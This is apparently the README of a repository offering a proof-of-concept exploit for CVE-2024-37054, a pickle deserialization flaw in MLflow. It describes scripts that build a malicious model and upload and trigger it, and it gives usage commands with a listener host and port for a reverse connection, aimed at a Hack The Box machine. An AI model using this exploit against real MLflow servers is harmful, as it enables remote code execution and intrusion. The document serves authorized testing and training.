jimmexploit/cve-2024-37054-pocProof-of-concept exploit for CVE-2024-37054, a critical deserialization vulnerability in MLflow. Includes a full exploit script and a malicious model builder for authorized penetration testing.
Proof of concept for CVE-2024-37054, a critical deserialization vulnerability in MLflow versions 0.9.0 to 2.14.1.
When a malicious pyfunc model is loaded via mlflow.pyfunc.load_model(), the pickled payload executes arbitrary code.
exploit.py — full exploit: register, train, upload, trigger (for HTB SmartHire Machine)build_model.py — build malicious model locally (Build only)python3 build_model.py --lhost YOUR_IP --lport 4444
# Auto register account and exploit
python3 exploit.py --lhost YOUR_IP --lport 4444 --atoz
# Use existing session
python3 exploit.py --lhost YOUR_IP --lport 4444 --session "eyJjb21w..."
For educational purposes and authorized penetration testing only.